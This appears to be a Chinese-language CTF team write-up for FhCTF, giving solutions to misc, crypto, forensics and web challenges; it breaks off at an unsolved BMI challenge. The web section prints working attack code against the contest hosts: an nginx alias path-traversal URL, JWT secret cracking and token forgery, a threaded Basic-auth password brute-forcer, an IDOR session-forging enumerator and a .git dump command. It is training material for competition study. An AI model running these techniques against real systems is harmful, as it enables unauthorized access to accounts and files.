Team – ntihs
Member – cheng, salt, wasami, xinshou

Scoreboard/Challenge Scoreboard Challenges

MISC

Welcome

原圖

Challenge

這是 Sanity Check 喔!
直接複製貼上卽可!
找到flag 就是CTF 的精髓啦~
FhCTF{W3cOmE_ch4113nger_e8a898e5be97e58aabe585a5e8999be693ace7a4bee59c98}
簡單的啦!
三類組的毛病了..都想看實體心臟…

Author: CXPh03n1x

題解

Flag: FhCTF{W3c0mE_ch4ll3nger_e8a898e5be97e58aa0e585a5e8999be693ace7a4bee59c98}


Survey

原圖

Challenge

就是要來調查一下啦~
請大家要回答喔~
這題值5分
https://forms.gle/NzDoAgBEu2gbgN6NA

Author: CXPh03n1x

題解

表單填完就有了,或是偷吃步

$ curl https://docs.google.com/forms/d/e/1FAIpQLSc12s3nmeR4uoVqQrgHYCxOyO71viqTQKn9WVAdzjogM3Xhig/viewform 
| grep -E 'FhCTF{\S+}'

image

Flag: FhCTF{G00d_G4m3}


INDEX 與 RULES 的差集

原圖

Challenge

みんなさん
你們都熟讀首頁與規則了嗎?
真的要好好熟讀喔!
眞的要「熟讀」喔!!!!!

Author: CXPh03n1x

題解

  1. 找到第一段 flag 與 xorkey image image RmhDVEZ7SDNsMW8gPC0tIHBhcnQgMS8y FhCTF{H3l1o <-- part 1/2 (Base64 Decoded)

  2. 找到第二段被加密過的 flag image 192b741219293d0209041200000000000000000000030000

  3. 將 xorkey 由 ascii 轉為 hex 46684354467b48336c316f203c2d2d207061727420312f32

  4. 將被加密過的 flag 與 xorkey_hex 做 xor image 5f4337465f52753165357d203c2d2d207061727420322f32

  5. 將 hex 轉回 ascii image _C7F_Ru1e5} <-- part 2/2

Flag: FhCTF{H3l1o_C7F_Ru1e5}


CRYPTOGRAPHY

Taiwan No.1

原圖

Challenge

第一名啦!
我把flag 埋在那了!
去找吧!

Author: Rata

題解

觀察題目後發現它將每個Secret編碼成四個不同符號 猜測原始的地圖由「 」「\n」「#」組成

先透過原始碼,將每個ascii_printable字符的編碼寫成字典 再將題目給的結果透過字典反查,便可得到結果

code
  1import string
  2
  3mapp = """
  4
  5                                                                                                    
  6                                                                              @!                    
  7                                                                           $@&~^!^                  
  8                                                                          @%~=!%#)~@$               
  9                                                                   ^!^@=@$!~~%@$~##^!^@=@$!!~       
 10                                                              ~~&~^!^@%~-!#~^@$@&~^!^@%~^@$@-       
 11                                                            !#~&~^!$~##!!^#!~~~^@%~=!%#^@$@=@$      
 12                                                          !~@^$!~~~-!#~^@$@*~!$~@^$^!^@$~##         
 13                                                         $~##)@#!^@%~=!%#)@#!&~%#^@$@~!^#)          
 14                                                        !#~^~~$~@^$)@#!^@$@%!$$^!^@-!#~#@           
 15                                                      @@^@$@~@^$^!^@-!#~)!~$$@~!=~@!@~%$^           
 16                                                    @$@(@~~~~$$-!#~^@$@-!#~&~^!^@$@~@^$)@           
 17                                                 #!)~@$)@#!^@$@^!^@)~@$)@#!^@$@-!#~&~^!%!$$         
 18                                               )@#!^@$@)~@$^!^@^@%~(!@~&~^!%!$$^@$@@@~$&~^          
 19                                              !)~@$(!@~-!#~^@$@=@$!&~^!^@$@%!$$^!^@#@@@)@#          
 20                                             !^@$@=@$!~@^$)@#!^@$@%!$$)@#!-!#~-!#~^!^@=!            
 21                                           %#)@#!^@$@$~##&~^!^@%~=!%#^@$@)@#!^@%~&~^!~~%            
 22                                          @=!%#~@^$&!$!~!^#)!#~@!$@&~^!^@%~-~$@$~##!~~~             
 23                                         *~!$=@$!^@$@%!$$~~%@-!#~=@$!^@$@^@%~&~^!=@$                
 24                                       !^@$@&@~#)@#!^@$@-!#~)@#!)@#!^@%~^@$@=@$!~@^                 
 25                                      $)~@$&~^!~~%@=!%#~@^$^@$@=@$!~@^$)@#!^@$@$~#                  
 26                                    #)@#!^@%~-!#~)@#!-!#~^@$@&~^!-~$@^@$@(!@~)@#!-                  
 27                                   !#~*!~@)@#!)~@$^!^@=@$!!~~~&~^!^@%~&!$!~!^#)!#~                  
 28                                 ~@@~$~##$~##^@$@*!~@^!^@=@$!~@^$-!#~^@$@^!^@)~@$)                  
 29                                @#!^@$@-!#~)@#!)@#!^@%~^@$@=@$!~@^$)~@$&~^!~~%@=!                   
 30                              %#~@^$^@$@=@$!~@^$)@#!^@$@*!~@)~@$!~~~-!#~%!$$^@$@                    
 31                             &~^!-~$@^@$@-~$@^!^@=@$!)@#!&!$!~!^#)!#~!!@$~~%@)~@                    
 32     $  ^@                  $@@@~$!~~~$~##$~##-!#~^@$@^!^@)~@$)@#!^@$@^!^@$~##!                     
 33    ~  ~~=!%                #^@%~)@#!(!@~^@$@=@$!~@^$)~@$&~^!~~%@=!%#~@^$^@$@=@                     
 34                            $!~@^$)@#!^@$@&~@@&~^!$~##$!@!^@$@)~%~~@^$^!^@$~##                      
 35                            ^!^@&!$!~!^#)!#~(~#@)@#!^@$@-!#~~@^$^!^@$~##$~##^@                      
 36                           $@)~@$!~~~-!#~)@#!^@$@-~$@)~@$&~^!%!$$^@$@=@$!~@^$                       
 37                           )@#!^@$@^!^@-!#~~@^$)@#!-!#~&!$!=@~@$!@!^@$@~@^$)                        
 38                          @#!^!^@)~@$=@$!^@$@!~~~-!#~^@$@*~!$&~^!$~##(!@~)@                         
 39                          #!)~@$^@$@=@$!~@^$^!^@^@%~^@$@=@$!~@^$)@#!-!#~)@#                         
 40                          !^@$@-!#~=@$!)@#!)@#!$~##^@$@$~##!~~~%!$$&@~#-!#                          
 41                         ~&!$!~!^#)!#~@@#~)~@$!~~~-!#~%!$$^!^@=@$!!~~~*~!                           
 42                             $^@$@*~!$&~^!)~@$)@#!^@$@-~$@^!^@!~~~$~##!                             
 43                              ~~~^@%~=!%#&~%#^@$@(~#@)@#!^@$@)~@$)@#!                               
 44                              (@!#~~%@!~~~)~@$)@#!^@$@^!^@-!#~-!#~!~                                
 45                              ~~-!#~=@$!^!^@^@%~*~!$)@#!&!$!~!^#)!#                                 
 46                                ~-@%$&~^!~~%@)~@$^@$@-~$@$~##^!^@                                   
 47                                =!%#^@$@!~~~-!#~^@$@~@^$)@#!)               ~@                      
 48                                 $)@#!^!@#^@$@%!~~~@^$@!$@^                                         
 49                                   ~~$%!~~^~$#-!^!!~~~!!^#                                          
 50                                      =~@!(!@~$@$~)!~$^@%                                           
 51                                          ~$@$~^~~$~!#@)                                            
 52                                             !~$@@~$=~@!                                            
 53                                               ^@%~$@$~^                                            
 54                                                @!!&~^!&                                            
 55                                                ~^!(~^#(                                            
 56                                                ~^#&~^!&                      ~^!                   
 57                                                (~^#(~^                        #(!                  
 58                                                 @~*@^~
 59""".strip().replace(' ', '').replace('\n', '')
 60
 61
 62def split_by_four(s) -> list[str]:
 63    """將字串四個字符一組切開
 64    '123456789123'
 65    ->
 66    ['1234', '5678', '9123']
 67    """
 68    return [s[i:i + 4] for i in range(0, len(s), 4)]
 69
 70
 71assert len(mapp) % 4 == 0  # 四個一組,符合正確編碼格式
 72mapp = split_by_four(mapp)
 73
 74encode = "~!@#$%^&*()-=[]\\"
 75SuperPower = 13 * 3 * 7 * 5
 76
 77alphabet_map = {}  # 反查詢用字典
 78for i in string.printable:
 79    tmp = ''
 80    for prime in [13, 3, 7, 5]:  # 1 3 2 0
 81        for sp in range(SuperPower):
 82            tmp += encode[ord(i) % prime]
 83            break
 84
 85    alphabet_map[tmp] = i
 86
 87for i in mapp:  # 反查
 88    print(alphabet_map[i], end='')
 89    
 90    
 91>>>
 92"""
 93Congratulations on solving this challenge! 
 94The mask has1836 #'s so here are some random words to make the message long enough.
 95Conflict must not be seen through the lenses of desperation.
 96All paths are seen through the prism of fate.
 97Our wills are aligned through the Holy Khala.
 98We shall rise from the ashes.My heart is colder than these steel limbs.
 99Prismatic core failing! We require assistance.
100Your flag is here: FhCTF{Liv3d_1n_T41w3n_Goo00oo00d}
101"""

Flag: FhCTF{Liv3d_1n_T41w3n_Goo00oo00d}


FORENSICS

MitM 攻擊者

原圖

Challenge

作為中間人的辛苦你懂嗎!!!
就說了不要用不安全的協定,不要老是用不加密的協定.⋯.
就是
不聽!!!
反正,中間人就是肝苦啦!!
本題 Flag 有額外格式;fhsfctf{\S}

Author: Adams

題解

直接 grep
image

Flag: fhsfctf{w1ll_a1w4y5_pr3v4il}


Hex Dumb Dumb

原圖

Challenge

我說,用 UTF-8 已經過時了!現在都用 6865786g6d616c
但是總覺得..你會看不透XD

Author: CXPh03n1x

題解

使用xxd會發現怪怪的,FhC…,把首行出現的字母組合起來便是Flag 那個是底線 .w.

content
00040dd0: 0000 4646 4646 4646 0000 0000 0000 0000  ..FFFFFF........
00040de0: 0000 2929 2929 2929 0000 0000 0000 0000  ..))))))........
00040df0: 0000 0000 0066 0066 0000 0000 0000 0000  .....f.f........
00040e00: 0000 0000 0066 0066 0000 0000 0000 0000  .....f.f........
00040e10: 0000 0000 0066 0066 0000 0000 0000 0000  .....f.f........
00040e20: 0000 0000 0066 0066 0000 0000 0000 0000  .....f.f........
00040e30: 0000 0000 0066 0066 0000 0000 0000 0000  .....f.f........
00040e40: 0000 0000 0000 0066 0000 0000 0000 0000  .......f........
00040e50: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00040e60: 0000 6868 6868 6868 0000 0000 0000 0000  ..hhhhhh........
00040e70: 0000 2929 2929 2929 0000 0000 0000 0000  ..))))))........
00040e80: 0000 0000 0048 0000 0000 0000 0000 0000  .....H..........
00040e90: 0000 0000 0048 0000 0000 0000 0000 0000  .....H..........
00040ea0: 0000 0000 0048 0000 0000 0000 0000 0000  .....H..........
00040eb0: 0000 4848 4848 0000 0000 0000 0000 0000  ..HHHH..........
00040ec0: 0000 4848 4800 0000 0000 0000 0000 0000  ..HHH...........
00040ed0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00040ee0: 0000 0000 4343 0000 0000 0000 0000 0000  ....CC..........
00040ef0: 0000 0043 2929 4300 0000 0000 0000 0000  ...C))C.........
00040f00: 0000 4329 0000 2943 0000 0000 0000 0000  ..C)..)C........
00040f10: 0000 2900 0000 0029 0000 0000 0000 0000  ..)....)........
00040f20: 0000 6300 0000 0063 0000 0000 0000 0000  ..c....c........
00040f30: 0000 6300 0000 0063 0000 0000 0000 0000  ..c....c........
00040f40: 0000 6363 0000 6363 0000 0000 0000 0000  ..cc..cc........
00040f50: 0000 0063 0000 6300 0000 0000 0000 0000  ...c..c.........
00040f60: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00040f70: 0000 0000 0000 0054 0000 0000 0000 0000  .......T........
00040f80: 0000 0000 0000 0029 0000 0000 0000 0000  .......)........
00040f90: 0000 0000 0000 0074 0000 0000 0000 0000  .......t........
00040fa0: 0000 5454 5454 5474 0000 0000 0000 0000  ..TTTTTt........

Flag: FhCTF{H3xdump_n33d_m0R3_S3CUR3}


Do you know packet?

原圖

Challenge

I receive a PCAP file. But…., what it means?

Author: Scott

題解

  1. 看到很多USB的封包,猜是要來解並分析內容,先過濾需要被分析的封包 ((usb.transfer_type == 0x01) && (frame.len == 35)) && !(usb.capdata == 00:00:00:00:00:00:00:00) image

  2. 將 HID Data 導出並使用腳本分析

    code
      1BOOT_KEYBOARD_MAP = {
      2    0x00: (None, None),  # Reserved (no event indicated)
      3    0x01: ('', ''),  # ErrorRollOver
      4    0x02: ('', ''),  # POSTFail
      5    0x03: ('', ''),  # ErrorUndefined
      6    0x04: ('a', 'A'),  # a
      7    0x05: ('b', 'B'),  # b
      8    0x06: ('c', 'C'),  # c
      9    0x07: ('d', 'D'),  # d
     10    0x08: ('e', 'E'),  # e
     11    0x09: ('f', 'F'),  # f
     12    0x0a: ('g', 'G'),  # g
     13    0x0b: ('h', 'H'),  # h
     14    0x0c: ('i', 'I'),  # i
     15    0x0d: ('j', 'J'),  # j
     16    0x0e: ('k', 'K'),  # k
     17    0x0f: ('l', 'L'),  # l
     18    0x10: ('m', 'M'),  # m
     19    0x11: ('n', 'N'),  # n
     20    0x12: ('o', 'O'),  # o
     21    0x13: ('p', 'P'),  # p
     22    0x14: ('q', 'Q'),  # q
     23    0x15: ('r', 'R'),  # r
     24    0x16: ('s', 'S'),  # s
     25    0x17: ('t', 'T'),  # t
     26    0x18: ('u', 'U'),  # u
     27    0x19: ('v', 'V'),  # v
     28    0x1a: ('w', 'W'),  # w
     29    0x1b: ('x', 'X'),  # x
     30    0x1c: ('y', 'Y'),  # y
     31    0x1d: ('z', 'Z'),  # z
     32    0x1e: ('1', '!'),  # 1
     33    0x1f: ('2', '@'),  # 2
     34    0x20: ('3', '#'),  # 3
     35    0x21: ('4', '$'),  # 4
     36    0x22: ('5', '%'),  # 5
     37    0x23: ('6', '^'),  # 6
     38    0x24: ('7', '&'),  # 7
     39    0x25: ('8', '*'),  # 8
     40    0x26: ('9', '('),  # 9
     41    0x27: ('0', ')'),  # 0
     42    0x28: ('\n', '\n'),  # Return (ENTER)
     43    0x29: ('[ESC]', '[ESC]'),  # Escape
     44    0x2a: ('\b', '\b'),  # Backspace
     45    0x2b: ('\t', '\t'),  # Tab
     46    0x2c: (' ', ' '),  # Spacebar
     47    0x2d: ('-', '_'),  # -
     48    0x2e: ('=', '+'),  # =
     49    0x2f: ('[', '{'),  # [
     50    0x30: (']', '}'),  # ]
     51    0x31: ('\\', '|'),  # \
     52    0x32: ('', ''),  # Non-US # and ~
     53    0x33: (';', ':'),  # ;
     54    0x34: ('\'', '"'),  # '
     55    0x35: ('`', '~'),  # `
     56    0x36: (',', '<'),  # ,
     57    0x37: ('.', '>'),  # .
     58    0x38: ('/', '?'),  # /
     59    0x39: ('[CAPSLOCK]', '[CAPSLOCK]'),  # Caps Lock
     60    0x3a: ('[F1]', '[F1]'),  # F1
     61    0x3b: ('[F2]', '[F2]'),  # F2
     62    0x3c: ('[F3]', '[F3]'),  # F3
     63    0x3d: ('[F4]', '[F4]'),  # F4
     64    0x3e: ('[F5]', '[F5]'),  # F5
     65    0x3f: ('[F6]', '[F6]'),  # F6
     66    0x40: ('[F7]', '[F7]'),  # F7
     67    0x41: ('[F8]', '[F8]'),  # F8
     68    0x42: ('[F9]', '[F9]'),  # F9
     69    0x43: ('[F10]', '[F10]'),  # F10
     70    0x44: ('[F11]', '[F11]'),  # F11
     71    0x45: ('[F12]', '[F12]'),  # F12
     72    0x46: ('[PRINTSCREEN]', '[PRINTSCREEN]'),  # Print Screen
     73    0x47: ('[SCROLLLOCK]', '[SCROLLLOCK]'),  # Scroll Lock
     74    0x48: ('[PAUSE]', '[PAUSE]'),  # Pause
     75    0x49: ('[INSERT]', '[INSERT]'),  # Insert
     76    0x4a: ('[HOME]', '[HOME]'),  # Home
     77    0x4b: ('[PAGEUP]', '[PAGEUP]'),  # Page Up
     78    0x4c: ('[DELETE]', '[DELETE]'),  # Delete Forward
     79    0x4d: ('[END]', '[END]'),  # End
     80    0x4e: ('[PAGEDOWN]', '[PAGEDOWN]'),  # Page Down
     81    0x4f: ('[RIGHTARROW]', '[RIGHTARROW]'),  # Right Arrow
     82    0x50: ('[LEFTARROW]', '[LEFTARROW]'),  # Left Arrow
     83    0x51: ('[DOWNARROW]', '[DOWNARROW]'),  # Down Arrow
     84    0x52: ('[UPARROW]', '[UPARROW]'),  # Up Arrow
     85    0x53: ('[NUMLOCK]', '[NUMLOCK]'),  # Num Lock
     86    0x54: ('[KEYPADSLASH]', '/'),  # Keypad /
     87    0x55: ('[KEYPADASTERISK]', '*'),  # Keypad *
     88    0x56: ('[KEYPADMINUS]', '-'),  # Keypad -
     89    0x57: ('[KEYPADPLUS]', '+'),  # Keypad +
     90    0x58: ('[KEYPADENTER]', '[KEYPADENTER]'),  # Keypad ENTER
     91    0x59: ('[KEYPAD1]', '1'),  # Keypad 1 and End
     92    0x5a: ('[KEYPAD2]', '2'),  # Keypad 2 and Down Arrow
     93    0x5b: ('[KEYPAD3]', '3'),  # Keypad 3 and PageDn
     94    0x5c: ('[KEYPAD4]', '4'),  # Keypad 4 and Left Arrow
     95    0x5d: ('[KEYPAD5]', '5'),  # Keypad 5
     96    0x5e: ('[KEYPAD6]', '6'),  # Keypad 6 and Right Arrow
     97    0x5f: ('[KEYPAD7]', '7'),  # Keypad 7 and Home
     98    0x60: ('[KEYPAD8]', '8'),  # Keypad 8 and Up Arrow
     99    0x61: ('[KEYPAD9]', '9'),  # Keypad 9 and Page Up
    100    0x62: ('[KEYPAD0]', '0'),  # Keypad 0 and Insert
    101    0x63: ('[KEYPADPERIOD]', '.'),  # Keypad . and Delete
    102    0x64: ('', ''),  # Non-US \ and |
    103    0x65: ('', ''),  # Application
    104    0x66: ('', ''),  # Power
    105    0x67: ('[KEYPADEQUALS]', '='),  # Keypad =
    106    0x68: ('[F13]', '[F13]'),  # F13
    107    0x69: ('[F14]', '[F14]'),  # F14
    108    0x6a: ('[F15]', '[F15]'),  # F15
    109    0x6b: ('[F16]', '[F16]'),  # F16
    110    0x6c: ('[F17]', '[F17]'),  # F17
    111    0x6d: ('[F18]', '[F18]'),  # F18
    112    0x6e: ('[F19]', '[F19]'),  # F19
    113    0x6f: ('[F20]', '[F20]'),  # F20
    114    0x70: ('[F21]', '[F21]'),  # F21
    115    0x71: ('[F22]', '[F22]'),  # F22
    116    0x72: ('[F23]', '[F23]'),  # F23
    117    0x73: ('[F24]', '[F24]'),  # F24
    118}
    119
    120
    121def parse_boot_keyboard_report(data: bytearray):
    122    # 數據解析
    123    modifiers = data[0]  # 修改鍵位元組
    124    keys = data[2:8]  # 鍵碼位元組
    125
    126    # 將修改鍵位元組中的位解碼為按鍵修飾符
    127    ctrl = (modifiers & 0x11) != 0
    128    shift = (modifiers & 0x22) != 0
    129    alt = (modifiers & 0x44) != 0
    130    win = (modifiers & 0x88) != 0
    131
    132    # 解析鍵碼位元組並將其映射為字元
    133    characters = []
    134    for key in keys:
    135        if key != 0:
    136            # 鍵碼不為0則查詢映射表
    137            if key in BOOT_KEYBOARD_MAP:
    138                characters.append(BOOT_KEYBOARD_MAP[key][shift])
    139            else:
    140                characters.append(None)
    141    return ctrl, shift, alt, win, characters
    142
    143
    144if __name__ == '__main__':
    145    lines = "001af8001a00f8ff,0024f9002400f9ff,0028fa002800faff,0030f9003000f9ff,0034fb003400fbff,0032fa003200faff,002efa002e00faff,002cfb002c00fbff,0023fc002300fcff,001dfb001d00fbff,0016fc001600fcff,000ffe000f00feff,0008fd000800fdff,0004fe000400feff,0000ff000000ffff,0000ff000000ffff,00ff0000ffff0000,0000ff000000ffff,0000ff000000ffff,00ffff00ffffffff,0000ff000000ffff,00ff0000ffff0000,0100000000000000,0000000000000000,0200000000000000,0200090000000000,0200000000000000,0000000000000000,00000b0000000000,0000000000000000,0200000000000000,0200060000000000,0200000000000000,0200170000000000,0200000000000000,0200090000000000,0200000000000000,02002f0000000000,0200000000000000,0000000000000000,0000040000000000,0000000000000000,0200000000000000,02002d0000000000,0200000000000000,0000000000000000,0200000000000000,0200160000000000,0200000000000000,0000000000000000,00001e0000000000,0000000000000000,0000100000000000,0000000000000000,0000130000000000,0000000000000000,00001e0000000000,0000000000000000,0000200000000000,0000000000000000,0200000000000000,02002d0000000000,0200000000000000,0200180000000000,0200000000000000,0200160000000000,0200000000000000,0200050000000000,0200000000000000,0000000000000000,0200000000000000,02002d0000000000,0200000000000000,0200060000000000,0200000000000000,0000000000000000,0200000000000000,02001f0000000000,0200000000000000,0000000000000000,0000130000000000,0000000000000000,0000240000000000,0000000000000000,0000180000000000,0000000000000000,0200000000000000,0200150000000000,0200000000000000,0000000000000000,0000080000000000,0000000000000000,0200000000000000,0200300000000000,0200000000000000,0000000000000000,00fafe00fafffeff,00effa00effffaff,00eefa00eefffaff,00eefa00eefffaff,00ecfa00ecfffaff,00edfc00edfffcff,00effc00effffcff,00f3fc00f3fffcff,00f2fa00f2fffaff,00f3fa00f3fffaff,00f1f900f1fff9ff,00f4fa00f4fffaff,00f3f900f3fff9ff,00f3fb00f3fffbff,00f4fb00f4fffbff,00f6fc00f6fffcff,00f9ff00f9ffffff,00fb0000fbff0000,00fb0000fbff0000,00fb0000fbff0000,00f60000f6ff0000,00f20000f2ff0000,00f10000f1ff0000,00edfe00edfffeff,00ecfd00ecfffdff,00ebfc00ebfffcff,00ecfc00ecfffcff,00edfb00edfffbff,00effc00effffcff,00f0fa00f0fffaff,00f2f900f2fff9ff,00f3fa00f3fffaff,00f7fc00f7fffcff,00f7fb00f7fffbff,00f9fc00f9fffcff,00fbfe00fbfffeff,00fcfe00fcfffeff,00ff0000ffff0000,00fd0000fdff0000,00fe0000feff0000,00fa0300faff0300,00f40400f4ff0400,00f20600f2ff0600,00f10800f1ff0800,00f30900f3ff0900,00f80600f8ff0600,00fa0800faff0800,00fd0100fdff0100,0000010000000100,00fdff00fdffffff,00fffe00fffffeff,00ff0000ffff0000,0002000002000000,0005000005000000,0006ff000600ffff,0006fe000600feff,000cfe000c00feff,000afc000a00fcff,000ffb000f00fbff,0011f9001100f9ff,0015f7001500f7ff,0014fa001400faff,0016f9001600f9ff,0017fb001700fbff,0015fb001500fbff,000ffc000f00fcff,0007fb000700fbff,0003f9000300f9ff,0000fb000000fbff,00fbf900fbfff9ff,00f5f700f5fff7ff,00eff900effff9ff,00ecf800ecfff8ff,00e6f800e6fff8ff,00e0f900e0fff9ff,00d6f800d6fff8ff,00d3f700d3fff7ff,00cff700cffff7ff,00cdf700cdfff7ff,00caf700cafff7ff,00c9f900c9fff9ff,00cdf700cdfff7ff,00d1f800d1fff8ff,00ddf900ddfff9ff,00e7fa00e7fffaff,00f1fa00f1fffaff,00fafa00fafffaff,00fefe00fefffeff,0000ff000000ffff,0000ff000000ffff,0001000001000000,0001000001000000,0001010001000100,0003040003000400,0004050004000500,0004050004000500,0005040005000400,0003030003000300,0004030004000300,0004030004000300,0005030005000300,0006020006000200,0008030008000300,0005010005000100,0005020005000200,0006010006000100,0007020007000200,0009010009000100,0008030008000300,0009020009000200,0007020007000200,0007030007000300,0009020009000200,0007030007000300,000c03000c000300,000a03000a000300,000c04000c000400,000d04000d000400,000a04000a000400,0007020007000200,0005010005000100,0005010005000100,0007020007000200,0005000005000000,0007010007000100,000a01000a000100,000c00000c000000,000d01000d000100,0011010011000100,0010010010000100,000e01000e000100,000c00000c000000,000a00000a000000,0001000001000000,0000020000000200,00ff0000ffff0000,00ff0000ffff0000,0000010000000100,0000010000000100,0001000001000000,0001000001000000,0001000001000000,0002010002000100,0002010002000100,0003020003000200,0002010002000100,0001010001000100,0001010001000100,0001000001000000,0001010001000100,0001000001000000,0001000001000000,0001000001000000,0001000001000000,0001010001000100,0002010002000100,0003010003000100,0002010002000100,0003020003000200,0002010002000100,0002010002000100,0001000001000000,0001000001000000,0001000001000000,0001000001000000,0001000001000000,0000020000000200,0001020001000200,0000020000000200,0001020001000200,0000030000000300,0001020001000200,0000020000000200,0000010000000100,0000030000000300,0000020000000200,0000010000000100,0000010000000100,0001000001000000,0001000001000000,0001010001000100,0100000000000000,0000000000000000".split(',')
    146
    147    # 解析鍵盤數據包,獲取輸入字元
    148    text = ""
    149    for line in lines:
    150        data = bytearray.fromhex(line.strip())
    151        characters = parse_boot_keyboard_report(data)[-1]
    152        for character in characters:
    153            if character:  # may be None
    154                text += character
    155
    156    print(f'Raw output:\n{text.__repr__()}')
    157    print(f'Text output:\n{text}')
    158
    159
    160>>>
    161"""
    162Raw output:
    163"w7\n]'= 6zsleaFhCTF{a_S1mp13_USB_C@p7uRe}aacceeffcceebcciglnrqstrldaababbababaaabcebbcdfefddfdigaiaajaagadbbdbdgijnmkig"
    164Text output:
    165w7
    166]'= 6zsleaFhCTF{a_S1mp13_USB_C@p7uRe}aacceeffcceebcciglnrqstrldaababbababaaabcebbcdfefddfdigaiaajaagadbbdbdgijnmkig
    167"""
    

Flag: FhCTF{a_S1mp13_USB_C@p7uRe}


WEB

穿越檔案的旅人

原圖

Challenge

然後就被卡車撞了…穿越異世界GOGO
剛好在看穿越番…
老人補充:我忘記給重要HINT了!!!flag 在 /flag.txt
https://travaling.fhh4ck3rs.taipei/

Author: CXPh03n1x

題解

觀察到這裡的nginx設定,發現只要是/img作為首的PATH,都會被重定向到/images/ 他很好心的幫我們加了後面的/,可以利用這個漏洞進行LFI

location /img {
    alias /images/;
}

URL: https://travaling.fhh4ck3rs.taipei/img../flag.txt

圖源 image

Flag: FhCTF{how_1_tr4v3rs4l_7h3_w0rld!}


Information

原圖

Challenge

資訊是種很玄的東西,他如影隨形~
所以,我們更要好好保護!
https://information.fhh4ck3rs.taipei/

Author: CXPh03n1x

題解

  1. 先觀察到form的input中未定義name標籤,在POST時不會有資料被送出。由此推測此題跟登入應該沒有關聯

  2. 透過dirb爆網頁目錄找到/redoc,該頁面中找到 image 打開此連結及為本題flag

Flag: FhCTF{Y0u_r3411y_n33d_t0_l0ck_y0ur_API_d0cum3n75}


Information Ultimate

原圖

Challenge

終極之章,你能了解我下了多少苦心嗎?
總之,再來一次吧!
https://information-ultimate.fhh4ck3rs.taipei/

Author: CXPh03n1x

題解

  1. 此題與上題HTML唯一的差別只在有定義name標籤,隨意填入帳號密碼,收到的回覆中包含「access-token」 image

  2. 再來一樣透過dirb找到/docs路徑可被訪問,其中的/flag_5a6d78685a323176636d567a5a574e31636d6c3065516f3d0a路徑可訪問到Flag image

  3. [1.]中的access-token可以看出是jwt,嘗試透過腳本爆出secret

    $ jwt-cracker -d rockyou.txt -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhIiwiaXNBZG1pbiI6ZmFsc2V9.pZ6MHTXSRFgbLFgAjYoPYWHrmLXzlTHJ4fZT_xjY0_g
    
    SECRET FOUND: secret
    Time taken (sec): 0.128
    Total attempts: 20000
    
  4. 生新的jwt “isAdmin=trueimage

  5. 帶入access-token訪問/flag_5a6d78685a323176636d567a5a574e31636d6c3065516f3d0a image

Flag: FhCTF{N3w_ch4ll3ng3_1n_JWT_c95ceec4ea7d5414f10853e616da8e521f957e7627368a641e46fe74720b53b1}


Information Revenge

原圖

Challenge

復仇之戰,我又來啦!
這次,我帶回了更安全的方式,不信你能破!!
好吧,其實我也沒底,畢竟以我的名字作為認證的擔保,破解可能還是可以的…
畢竟我沒那麼多時間設定好強的認證了⋯
https://information-revenge.fhh4ck3rs.taipei/

Author: CXPh03n1x

題解

  1. 這題form的name標籤如同Information一樣未被加上,在POST時不會有資料被送出。由此推測此題跟登入應該沒有關聯

  2. 老樣子一樣dirb找到/docs路徑可被訪問,但是還缺少了帳號與密碼

  3. 題目敘述中的「以我的名字作為認證的擔保」猜測使用者名稱是「CXPh03n1x」,密碼一樣爆破

  4. 寫腳本,約2:30後可得出結果,密碼為「Password1

     1import base64
     2import requests
     3import threading
     4from queue import Queue
     5from tqdm import tqdm
     6
     7with open('rockyou.txt', 'r') as f:
     8    rockyou = f.readlines()
     9
    10password_queue = Queue()
    11for password in rockyou:
    12    password_queue.put(password)
    13
    14progress = tqdm(total=len(rockyou))
    15
    16
    17def try_password():
    18    while not password_queue.empty():
    19        password = password_queue.get()
    20        auth = base64.b64encode(f"CXPh03n1x:{password.strip()}".encode()).decode()
    21        req = requests.get(
    22            'https://information-revenge.fhh4ck3rs.taipei/docs',
    23            headers={
    24                'Authorization': f'Basic {auth}',
    25            },
    26        )
    27
    28        if req.status_code != 401:
    29            print(f"[{req.status_code}] Found: {password.strip()}")
    30            print(req.text)
    31            with password_queue.mutex:
    32                password_queue.queue.clear()
    33            break
    34
    35        progress.update(1)
    36        password_queue.task_done()
    37
    38
    39threads = []
    40for _ in range(10):
    41    thread = threading.Thread(target=try_password)
    42    thread.start()
    43    threads.append(thread)
    44
    45for thread in threads:
    46    thread.join()
    
  5. 登入後就可以直接拿Flag image

Flag: FhCTF{W34k_p455w0rd_m4y_c4u53_d4ng3r}


Baking Store

原圖

Challenge

烘焙時間!
烤東西,烤東西!
但是好像會烤到不該烤的?
https://baking.fhh4ck3rs.taipei/

Author: CXPh03n1x

題解

  1. 有Flag可以烤欸! image

  2. 發現Cookie很可疑,先Base64 Decode,再 Hex to Ascii做解析

    {
      "id": "flag",
      "name": "旗",
      "time": 31536000000,
      "start_time": 1717836217947
    }
    
  3. time改為0再重新置回 image

Flag: FhCTF{Cl13nt_s1d3_auth0r1z3d_1s_d4ng3r!!!!}


Baking Store Revenge

原圖

Challenge

復仇,復仇,最後的復仇
可以見得,已經出題目出到瘋了…
https://baking-revenge.fhh4ck3rs.taipei/

Author: CXPh03n1x

題解

  1. 比起上一題多了個登入按鈕,可以使用任意名稱登入

  2. 驗證身份的方式有Cookie中的Session與網址後的id,嘗試爆破尋找有烤過東西的帳號

  3. 寫腳本,約在20秒後可發現admin帳號與Flag

    for i in tqdm.tqdm(range(65577, 0, -1)):
        session = base64.b64encode(f'{{"id": {i}, "baking": []}}'.encode()).decode()
    
        req = requests.get(f'https://baking-revenge.fhh4ck3rs.taipei/users/{i}',
                           cookies={'session': session}
                           )
    
        if '還沒有烤過任何東西' not in req.text:
            print(req.text)
            break
    

    image

Flag: FhCTF{IDOR_1s_t3rr4bl3_w1th_n0_l1m173d...}


A Web

原圖

Challenge

Just a WEB, nothing else..
我認真的說..就是一個web,沒有其他的了.
https://aweb.fhh4ck3rs.taipei/

Author: xiunG

題解

  1. Flag 1/3 image

  2. Flag 2/3 image image

  3. Flag 3/3 image


Gotcha

原圖

Challenge

Can you get the flag?
https://gotcha.fhh4ck3rs.taipei/

Author: Scott

題解

點開題目DotGit插件馬上跳通知,因此從這方面下手,用githacker拿到在index.php的flag

payload:

$ githacker --url https://gotcha.fhh4ck3rs.taipei/.git --output-folder tmp

Flag: FhCTF{I_9iT_!7}


BMI 計算機

原圖

Challenge

體重的控制是重要的
……但是說真的,減肥真的好難QWQ
所以…別講這種傷感情的事情了好嗎!
